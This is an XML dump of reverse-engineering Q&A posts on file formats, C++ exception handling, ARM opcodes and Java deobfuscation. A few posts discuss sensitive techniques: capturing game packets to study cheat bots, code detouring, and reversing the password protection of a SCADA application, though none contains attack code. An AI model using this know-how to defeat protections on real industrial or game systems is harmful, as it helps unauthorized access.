  <row Id="23020" PostTypeId="2" ParentId="23019" CreationDate="2020-01-16T14:04:44.633" Score="1" Body="&lt;p&gt;You can refer to this &lt;a href=&quot;https://stackoverflow.com/questions/3819699/what-does-ds40207a-mean-in-assembly&quot;&gt;answer&lt;/a&gt; for the &lt;code&gt;DS&lt;/code&gt; part.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe the &lt;code&gt;nop&lt;/code&gt; and &lt;code&gt;xchg&lt;/code&gt; are only paddings. They appear after &lt;code&gt;ret&lt;/code&gt;, and they aren't executed as part of the function.&lt;/p&gt;&#xA;" OwnerUserId="31278" LastActivityDate="2020-01-16T14:04:44.633" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23021" PostTypeId="1" CreationDate="2020-01-16T17:59:37.180" Score="1" ViewCount="203" Body="&lt;p&gt;I received a promotional video screen with a USB interface. It comes with a couple example videos, one of which is here: &lt;a href=&quot;https://drive.google.com/file/d/1B-wSURAgK-ePrfpKFM5nYbNhQ5mD-Ii2/view?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://drive.google.com/file/d/1B-wSURAgK-ePrfpKFM5nYbNhQ5mD-Ii2/view?usp=sharing&lt;/a&gt; md5sum &lt;code&gt;506a6c478b0874262802e8ae7d718c59&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd love to figure out how to generate this file format, but I don't have much experience in reverse engineering. It seems to be a mostly normal AVI file, and can play in VLC just fine.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;What I've got so far&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;I've been poking around with ffprobe, in a hex editor, and RiffPad, and found the following things:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;it is a RIFF AVI with 2 streams - video and audio&lt;/li&gt;&#xA;&lt;li&gt;the video frames are mjpeg - specifically mjpeg/AVI1, header &lt;code&gt;FF D8 FF E0 00 10 41 56 49 31&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;the video frames are padded to the dword boundary instead of the word boundary &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/directshow/avi-riff-file-reference&quot; rel=&quot;nofollow noreferrer&quot;&gt;which seems to be the standard&lt;/a&gt;. Riffpad and other such tools complain about this&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;ffmpeg -i original.avi -codec copy test.avi&lt;/code&gt; doesn't produce a working file - ffmpeg appends junk lists to some of the header information. deleting the lists and aligning frames to the dword boundary make the file play despite some differences in the header data.&lt;/li&gt;&#xA;&lt;li&gt;I'm having a hard time finding a tool to generate similarly formatted frames. FFMPEG wants to generate JFIF data instead of AVI1, which doesn't work. &lt;a href=&quot;https://lightbits.github.io/v4l2_huffman/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Judging by this source&lt;/a&gt;, the original frames contain their own huffman encodings, and the container file lists the chunks as &lt;code&gt;dc&lt;/code&gt; chunks, so compressed images. &lt;code&gt;jpegtoavi&lt;/code&gt; generates &lt;code&gt;db&lt;/code&gt; segments, which I can't copy over.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Any help with what to do next would be very appreciated.&lt;/p&gt;&#xA;" OwnerUserId="30794" LastActivityDate="2020-01-16T17:59:37.180" Title="Reproducing video format" Tags="|file-format|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23022" PostTypeId="2" ParentId="23015" CreationDate="2020-01-16T18:19:02.257" Score="1" Body="&lt;p&gt;in ollydbg you can drag the columns to left and hide them and copy only text&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/kkHU0.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/kkHU0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2020-01-16T18:19:02.257" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23023" PostTypeId="1" CreationDate="2020-01-16T20:40:19.667" Score="0" ViewCount="2884" Body="&lt;p&gt;I am playing an online MMORPG game, based on player versus player idea. In this game, characters have skills. I want to capture the sent packet, when a specific skill is pressed on keyboard or etc. Basically, I want to analyze byte flow after a specific event. Which tools can I utilize to achieve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried Wireshark, but as there are lots of packets are being sent in an arbitrary instance, I couldn't observe which one was sent on my specific event.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;p.s. As an additional info, the game has illegal bot softwares. I want to understand how they developed the bot.&lt;/p&gt;&#xA;" OwnerUserId="30802" LastActivityDate="2020-01-16T20:40:19.667" Title="How to capture specific data packets sent in an online game?" Tags="|debugging|networking|game-hacking|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23024" PostTypeId="1" AcceptedAnswerId="23025" CreationDate="2020-01-16T21:17:16.830" Score="2" ViewCount="151" Body="&lt;p&gt;I'm trying to decompile an old binary (about 20 year old).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The program uses exceptions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found some FuncInfo but they do not contain any pTryBlockMap and nTryBlocks is 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried many options on the VC6 compiler but I could not get this result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The stack doesn't look like a regular stack:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;SEH handler&#xA;scope table&#xA;Try Level&#xA;saved EBP&#xA;return address&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;SEH handler&#xA;Try level&#xA;return address&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Do you have any idea how to achieve this and why it would have been like that ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SEH Handler is :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MOV        EAX,DAT_00412c90&#xA;JMP        ___CxxFrameHandler&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;FuncInfo@00412c90&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;19930520&#xA;00000005&#xA;00412cb0&#xA;00000000&#xA;00000000&#xA;00000000&#xA;00000000&#xA;00000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="30803" LastEditorUserId="30803" LastEditDate="2020-01-16T22:10:47.423" LastActivityDate="2020-04-25T10:31:14.197" Title="VC 6 C++ Exception handling, nTryBlocks=0, pTryBlockMap=0 , how?why?" Tags="|decompilation|c++|callstack|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23025" PostTypeId="2" ParentId="23024" CreationDate="2020-01-16T22:24:14.267" Score="0" Body="&lt;p&gt;Even when there are no try/catch blocks in a function, the compiler may generate a FunctionInfo structure and register a C++EH handler (such as &lt;code&gt;__CxxFrameHandler&lt;/code&gt;). This is necessary, for example, to destruct automatic (stack-allocated) C++ objects going out of scope, or cleaning up a partially constructed object in a constructor. In such functions there will be no try blocks but you should see non-zero &lt;code&gt;pUnwindMap&lt;/code&gt; with pointers to unwind funclets containing calls to destructors of stack objects, i.e. something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lea ecx, [ebp-2Ch]&#xA;jmp std::string::~string&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-01-16T22:24:14.267" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23026" PostTypeId="1" CreationDate="2020-01-17T09:07:40.290" Score="2" ViewCount="96" Body="&lt;p&gt;I'm analysing an undocumented file format. Is there a standard documentation format for file formats I can write up? Something of &lt;a href=&quot;https://www.smwcentral.net/?p=memorymap&amp;amp;game=smw&amp;amp;region=ram&quot; rel=&quot;nofollow noreferrer&quot;&gt;this level of complexity and detail&lt;/a&gt;? What I have in my mind is,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;!Global: Encoded in ASCII (unless specified otherwise)&#xA;Address: 0x12345670 - metadata, until the delimiter of &quot;|&quot;&#xA;Address: 0x12345670+, after delimiter of &quot;|&quot; - media container&#xA;...&#xA;Address: 0x23456780 - 32-bit pointer to the splash image&#xA;etc etc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The closest I could find is: &lt;a href=&quot;https://vim.fandom.com/wiki/Creating_your_own_syntax_files&quot; rel=&quot;nofollow noreferrer&quot;&gt;creating your own syntax files in Vim&lt;/a&gt; (which is rather simple and editors-oriented, so the users could edit files  with comfort) and &lt;a href=&quot;http://mark0.net/soft-trid-e.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;TrID headers&lt;/a&gt; (which are limited to the headers only)&lt;/p&gt;&#xA;" OwnerUserId="30210" LastEditorUserId="30210" LastEditDate="2020-01-17T09:16:48.107" LastActivityDate="2020-02-16T18:00:55.100" Title="Is there a standard documentation format for file formats?" Tags="|binary-analysis|binary|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23030" PostTypeId="1" AcceptedAnswerId="23032" CreationDate="2020-01-17T14:43:42.267" Score="12" ViewCount="13728" Body="&lt;p&gt;I'm sorry for such as questions where answer would seem to be easily searched in google...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some time ago I have seen table/list of ARMv8 instructions with opcodes and it was perfect, but I lost link. Now I'm trying to find at least some sources where opcodes of instructions listed and can't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There're some C headers, where opcodes defined in non-readable form, lot of different scientific publications with 1k+ pages (containing no opcodes), etc., but I can't find simple list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could somebody point me?&lt;/p&gt;&#xA;" OwnerUserId="26478" LastActivityDate="2020-01-18T21:12:13.310" Title="ARMv8 (AArch64, ARM64) opcodes list" Tags="|assembly|arm|arm64|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23031" PostTypeId="2" ParentId="23030" CreationDate="2020-01-17T15:01:33.887" Score="7" Body="&lt;p&gt;&lt;strong&gt;Eureka!&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://kitoslab-eng.blogspot.com/2012/10/armv8-aarch64-instruction-encoding.html&quot; rel=&quot;noreferrer&quot;&gt;&lt;strong&gt;HERE IS THIS TABLE&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;P.S.&lt;/strong&gt; It's really hard to google it (keywords I used - &quot;b arm64 opcode&quot;), so I decided to post it as answer. Hope it'll be helpful for others.&lt;/p&gt;&#xA;" OwnerUserId="26478" LastActivityDate="2020-01-17T15:01:33.887" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23032" PostTypeId="2" ParentId="23030" CreationDate="2020-01-17T16:14:08.003" Score="11" Body="&lt;p&gt;This doc may be interesting for you:&#xA;&lt;a href=&quot;https://github.com/CAS-Atlantic/AArch64-Encoding&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/CAS-Atlantic/AArch64-Encoding&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14153" LastActivityDate="2020-01-17T16:14:08.003" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23034" PostTypeId="2" ParentId="23026" CreationDate="2020-01-17T16:53:50.273" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://kaitai.io/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Kaitai&lt;/a&gt; use own format and has a good library, you can try it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Web Ide for review: &lt;a href=&quot;https://ide.kaitai.io/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://ide.kaitai.io/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14153" LastEditorUserId="14153" LastEditDate="2020-01-17T17:07:56.370" LastActivityDate="2020-01-17T17:07:56.370" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23035" PostTypeId="1" AcceptedAnswerId="23043" CreationDate="2020-01-17T17:15:11.707" Score="5" ViewCount="4724" Body="&lt;p&gt;I've got a jarfile from a friend, he told me to put it thru an decompiler. So I did, but:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;JD-GUI basically spit out just the imports and didn't show any class data&lt;/li&gt;&#xA;&lt;li&gt;CFR dumped out stack trace on certain and created basically unusable Java code&lt;/li&gt;&#xA;&lt;li&gt;I didn't even try using JAD for it because it's using pattern matching for decompilation&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;The bytecode, according to the specification, is invalid&lt;/strong&gt; because it contains incorrect entry for constant table&lt;/li&gt;&#xA;&lt;li&gt;JBE spit out a couple of errors and crashed, the same goes for fernflower&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Albeit all of that, &lt;strong&gt;I tried to execute it on a virtual machine - and it works!&lt;/strong&gt; I'm literally swept off my knees looking at what happened there, and I believe this may be a fragment of code that is simply un-decompilable. I also did analyze the class file by hand, but everything seemed so contradictionary I eventually gave up. And, what is more interesting, &lt;strong&gt;I tried to use it along with multiple JRE versions starting with Java 13 and ending with Java 8 it worked in practice everywhere and I can't believe it&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://kspalaiologos.baselinux.net/doc/unnamedObf.jar&quot; rel=&quot;noreferrer&quot;&gt;The jar file&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also uploaded the &lt;a href=&quot;http://kspalaiologos.baselinux.net/doc/dump.java&quot; rel=&quot;noreferrer&quot;&gt;CFR output&lt;/a&gt; (it's hillarious). I don't know really much about the obfuscator and the person who sent me the jar refuses to provide the further information, but I've got permission for redistributing and obviously decompiling it. Last bit of information I've got is the fact that the obfuscator is supposedly public and free-to-use, but I refuse to believe it (it could be though, unless I've been a victim of bluffing).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I even tackle that? How is this, that the jar-file is almost completely obfuscated up until this point all the tooling that exists nowadays has severe problems with even outputting the bytecode assembly? It's not a very confidental piece of code and I'd most probably throw it away and forget about it, but I'm so curious on how it works, I've spent around two days trying to figure it out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for any help.&lt;/p&gt;&#xA;" OwnerUserId="30814" LastActivityDate="2022-08-16T18:33:27.253" Title="Dealing with heavily obfuscated Java, possibly on bytecode level" Tags="|obfuscation|java|deobfuscation|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="23036" PostTypeId="1" CreationDate="2020-01-17T17:59:38.100" Score="0" ViewCount="223" Body="&lt;p&gt;I'm in the process of decoding the semantics of an unknown binary stream&lt;sup&gt;1&lt;/sup&gt;. I've come to a point where I understand the overall structure: A &lt;code&gt;tag&lt;/code&gt; byte, followed by a size field, and a blob of bytes of that size, e.g. &lt;code&gt;80 02 42 0a&lt;/code&gt; (type: 0x80, size: 2 bytes, data: 66, 10).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To help me drill deeper I'm looking for a tool that allows me to extract the individual chunks of data, run queries against those, and arbitrarily transform the results. I'm looking for simple queries (like &lt;em&gt;&quot;all packets with a specific tag&quot;&lt;/em&gt;), but also need more complex filters (e.g. &lt;em&gt;&quot;distribution of all size values for packets with a specific tag&quot;&lt;/em&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any tools that allow me to easily perform those queries, given the following requirement?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Needs to understand the overall stream structure.&lt;/li&gt;&#xA;&lt;li&gt;Needs to have basic decoding capabilities (e.g. to extract base128-encoded &lt;code&gt;varint&lt;/code&gt;s as used by &lt;a href=&quot;https://developers.google.com/protocol-buffers/docs/encoding&quot; rel=&quot;nofollow noreferrer&quot;&gt;Protocol Buffers&lt;/a&gt;).&lt;/li&gt;&#xA;&lt;li&gt;Needs customizable filters (e.g. by tag, size, or data).&lt;/li&gt;&#xA;&lt;li&gt;[Optional] Ability to control display of data, like 64-bit &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/api/minwinbase/ns-minwinbase-filetime&quot; rel=&quot;nofollow noreferrer&quot;&gt;FILETIME&lt;/a&gt; values.&lt;/li&gt;&#xA;&lt;li&gt;[Optional] Ability to render graphs.&lt;/li&gt;&#xA;&lt;li&gt;Needs to run on Windows (preferably free).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;1&lt;/sup&gt; &lt;em&gt;The data is streamed off of an embedded device. I have access to fully self-contained chunks of that data as binary files.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="30815" LastEditorUserId="30815" LastEditDate="2020-01-17T20:58:13.283" LastActivityDate="2020-01-17T20:58:13.283" Title="Tools for statistical analysis of binary streams" Tags="|binary-analysis|tools|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="23038" PostTypeId="1" AcceptedAnswerId="23042" CreationDate="2020-01-17T23:45:14.623" Score="1" ViewCount="326" Body="&lt;p&gt;I'm looking for a list of all vulnerabilities that can be present in C so I can practice them all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found this: &lt;a href=&quot;https://www.owasp.org/index.php/Category:C/C++&quot; rel=&quot;nofollow noreferrer&quot;&gt;Category:C/C++&lt;/a&gt;, but it's not of much use.&lt;/p&gt;&#xA;" OwnerUserId="28733" LastEditorUserId="245" LastEditDate="2020-01-17T23:52:07.670" LastActivityDate="2020-01-22T01:45:30.630" Title="I'm looking for a list of C vulnerabilities like OWASP Top 10" Tags="|c|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23040" PostTypeId="2" ParentId="23035" CreationDate="2020-01-18T08:54:02.020" Score="1" Body="&lt;p&gt;Before tossing this at a decompiler you should use automated tools like &lt;a href=&quot;https://github.com/java-deobfuscator/deobfuscator&quot; rel=&quot;nofollow noreferrer&quot;&gt;java-deobfuscator&lt;/a&gt; to clean up the illegal names and remove some of the control-flow obfuscation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can be accomplished with this config &lt;em&gt;(Assuming you have a bukkit jar handy)&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;input: unnamedObf.jar&#xA;output: unnamedObf-clean.jar&#xA;path: [rt.jar, bukkit.jar]&#xA;transformers:&#xA;  - com.javadeobfuscator.deobfuscator.transformers.general.removers.IllegalSignatureRemover&#xA;  - com.javadeobfuscator.deobfuscator.transformers.general.removers.LineNumberRemover&#xA;  - com.javadeobfuscator.deobfuscator.transformers.general.removers.LocalVariableRemover&#xA;  - com.javadeobfuscator.deobfuscator.transformers.general.removers.SyntheticBridgeRemover&#xA;  - com.javadeobfuscator.deobfuscator.transformers.normalizer.PackageNormalizer&#xA;  - com.javadeobfuscator.deobfuscator.transformers.normalizer.ClassNormalizer&#xA;  - com.javadeobfuscator.deobfuscator.transformers.normalizer.FieldNormalizer&#xA;  - com.javadeobfuscator.deobfuscator.transformers.normalizer.MethodNormalizer&#xA;  - com.javadeobfuscator.deobfuscator.transformers.general.peephole.PeepholeOptimizer&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's a comparsion for before &amp;amp; after using CFR.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/KmJjQ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KmJjQ.png&quot; alt=&quot;decompile comparison before and after applying java-deobfuscator&quot;&gt;&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It doesn't clear everything up, there's still plenty of obfuscator-generated invoke-dynamic calls and opaque predicates, but its definitely a better starting point than the original jar.&lt;/p&gt;&#xA;" OwnerUserId="20336" LastActivityDate="2020-01-18T08:54:02.020" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23042" PostTypeId="2" ParentId="23038" CreationDate="2020-01-18T10:38:42.470" Score="2" Body="&lt;p&gt;These CWE lists will help you a lot:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/658.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Weaknesses in software written in C&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/659.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Weaknesses in software written in C++&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="30781" LastEditorUserId="30786" LastEditDate="2020-01-19T09:36:07.970" LastActivityDate="2020-01-19T09:36:07.970" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23043" PostTypeId="2" ParentId="23035" CreationDate="2020-01-18T15:11:01.610" Score="4" Body="&lt;p&gt;First off, &lt;strong&gt;you should never use &lt;code&gt;javap&lt;/code&gt; when dealing with obfuscated applications&lt;/strong&gt;, because &lt;code&gt;javap&lt;/code&gt; is not designed to handle malicious bytecode, and can easily be thwarted in a number of ways. Luckily, the &lt;a href=&quot;https://github.com/Storyyeller/Krakatau&quot; rel=&quot;nofollow noreferrer&quot;&gt;Krakatau disassembler&lt;/a&gt; is specifically designed for working with obfuscated bytecode and can handle pretty much anything. (If you find anything that runs on the JVM and can't be disassembled, please file a bug). Luckily, in this case it disassembles without errors.&lt;/p&gt;&#xA;&lt;p&gt;In addition to the bytecode disassembler and assembler, Krakatau also contains a Java decompiler which is specifically designed for decompiling obfuscated bytecode. It's not particularly user friendly, but it can often decompile stuff that no other decompiler can handle. In this case, Krakatau was able to decompile your application without errors after some minor fixes.&lt;/p&gt;&#xA;&lt;p&gt;In order to decompile your app with Krakatau, I had to do two things:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Fix a Python 2 unicode handling error (the &lt;code&gt;'ascii' codec can't decode byte 0xe2 in position 0: ordinal not in range(128)&lt;/code&gt; message you got) by changing &lt;code&gt;.decode()&lt;/code&gt; to &lt;code&gt;.decode('utf8')&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Supply the Spigot library with the &lt;code&gt;-path&lt;/code&gt; option. I had to modify the Spigot jar slightly first, to move the bukkit part to the right path (it expects classes at &lt;code&gt;org/bukkit/craftbukkit/entity/CraftPlayer&lt;/code&gt;, but that class is located at &lt;code&gt;bukkit/craftbukkit/v1_15_R1/entity/CraftPlayer&lt;/code&gt; in the Jar I downloaded).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Anyway, once that was done, the obfuscated jar you provided decompiled without errors. Note that the jar makes use of &lt;code&gt;invokedynamic&lt;/code&gt;, which can't be decompiled in general, since it is a bytecode feature that has no Java equivalent. In order to warn you of this, Krakatau outputs comments in the decompiled source like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;                label12: {&#xA;                    try {&#xA;                        if (!/*invokedynamic*/false) {&#xA;                            break label12;&#xA;                        }&#xA;                        if (b) {&#xA;                            break label12;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In cases like this, you need to consult the disassembled bytecode to see exactly what it is doing:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;L14:    iload 6 &#xA;L16:    ifne L8 &#xA;L19:    invokedynamic InvokeDynamic invokeStatic Method [c24] '\u200c\u2001\u2005\u2001' [u26] : '\ufb05\u58d7\ufb06\u0226\udb3d\u78ef\ufb09\u0226\ufb00\u58d5\udb3d\u221f\udb32' '()L\u2004\u2006\u2007\u2007;' &#xA;L24:    invokedynamic [id154] &#xA;L29:    invokedynamic InvokeDynamic invokeStatic Method [c24] '\u200c\u2001\u2005\u2001' [u26] : [nat157] &#xA;L34:    invokedynamic InvokeDynamic invokeStatic Method [c24] '\u200c\u2001\u2005\u2001' [u26] : '\ufb05\u58d7\ufb06\u0226\udb3d\u78ef\ufb09\u0226\ufb00\u58d5\udb3d\u221f\udb32' '()L\u2004\u2006\u2007\u2007;' &#xA;L39:    new '\u200b\u2007\u2006\u200d' &#xA;L42:    dup &#xA;L43:    aload 4 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;As far as obfuscations go, the main obfuscations I noticed were a) renaming everything to unicode, and b) inserting dummy fields and a bunch of fake control flow branching on those fields. Here is an example of the latter in the decompiled output:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    boolean b = \u200e\u200a;&#xA;    label0: {&#xA;        if (b) {&#xA;            break label0;&#xA;        }&#xA;        if (b) {&#xA;            break label0;&#xA;        }&#xA;        \u2005\u200c\u2005\u2009 = new java.util.HashMap();&#xA;        if (!b) {&#xA;        }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Note that the Krakatau decompiler performs a lot of analysis to simplify the control flow. It is no wonder that other decompilers would just give up when seeing complicated control flow like this.&lt;/p&gt;&#xA;&lt;p&gt;It is also notable that this is a fairly weak obfuscation. In particular, it creates a static field and branches on the value, but it never actually assigns to that field, so the field can just be replaced by a constant to simplify the bytecode. This reminds me a bit of bytecode I've seen that was obfuscated by ZKM, so it is possible that your friend was using ZKM.&lt;/p&gt;&#xA;&lt;p&gt;For example, after I patched the jar to replace the static fields with a constant &lt;code&gt;false&lt;/code&gt; and decompiled it again, Krakatau's constant propagation was able to completely simplify away the fake control flow. Here's the decompiled version of the same function as above after replacing the field with &lt;code&gt;false&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;static {&#xA;    \u2005\u200c\u2005\u2009 = new java.util.HashMap();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1739" LastEditorUserId="34558" LastEditDate="2022-08-16T18:33:27.253" LastActivityDate="2022-08-16T18:33:27.253" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="23044" PostTypeId="2" ParentId="22775" CreationDate="2020-01-18T17:23:12.763" Score="1" Body="&lt;p&gt;Detouring is more or less a patching of the &lt;code&gt;.text&lt;/code&gt; section inside of a program. It's practically more or less hacking, you're rerouting a program to do what you want it to do with your own function. Usually by placing the opcode &lt;code&gt;0xE9&lt;/code&gt; (known as &lt;code&gt;JMP&lt;/code&gt;, also added with some &lt;code&gt;0x90&lt;/code&gt; which is &lt;code&gt;NOP&lt;/code&gt;, for alignment) inside of the memory address you're detouring, that &lt;code&gt;JMP&lt;/code&gt;s to your personal function you wrote.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recommend reading up on x86 Assembly, along with detouring itself. It's a pretty basic topic once you get it down, but it's definitely a struggle to start learning.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Resources to get you started:&#xA;&lt;a href=&quot;https://www.youtube.com/watch?v=jTl3MFVKSUM&quot; rel=&quot;nofollow noreferrer&quot;&gt;Detour Video by Guide&lt;/a&gt;&#xA;&lt;a href=&quot;https://www.cs.virginia.edu/~evans/cs216/guides/x86.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Virginia EDU for x86 Assembly&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="30451" LastActivityDate="2020-01-18T17:23:12.763" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23045" PostTypeId="1" CreationDate="2020-01-18T18:17:09.417" Score="3" ViewCount="534" Body="&lt;p&gt;I’m trying to reverse engineer an old win32 application used on SCADA and ICS (Industrial Control Systems). This app has a silly encryption function to protect the user password to prevent unauthorized access. I’m pretty sure this encryption is easy to reverse as its maximum size is 10 chars. It’s probably doing some ROT with XOR, but instead of trying to guess what it does, I’m trying to reverse the software with Ghidra and take a look at the encryption function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that I couldn’t find any suspicious function on the dlls that the app imports. So I’m trying to look for strings on the dialog box that encrypts the password. However all dialogs of this program are stored on a resource section of a dll (it seems that they provided different dlls for different languages). When I open this dll on Ghidra I can see the strings, but I can’t find which function calls them. Using ResEdit I managed to get the IDs of the dialog box and of the strings, but how can I match these IDs with the functions that call them? Is there a way to do it with static analysis only or will I need to use OllyDbg? Also, to make it worse, the dlls that contains the strings and dialog boxes isn’t listed in the import section of the main .exe neither on any import section of any of the imported dlls. I managed to actually find the function of the main .exe that dynamically imports the resource dll. I guess this would make it harder to find the match with static analysis only right? Any hints? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="30824" LastActivityDate="2020-01-22T23:53:49.807" Title="Reverse old win32 app to find encryption vulnerability" Tags="|windows|ghidra|pe-resources|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
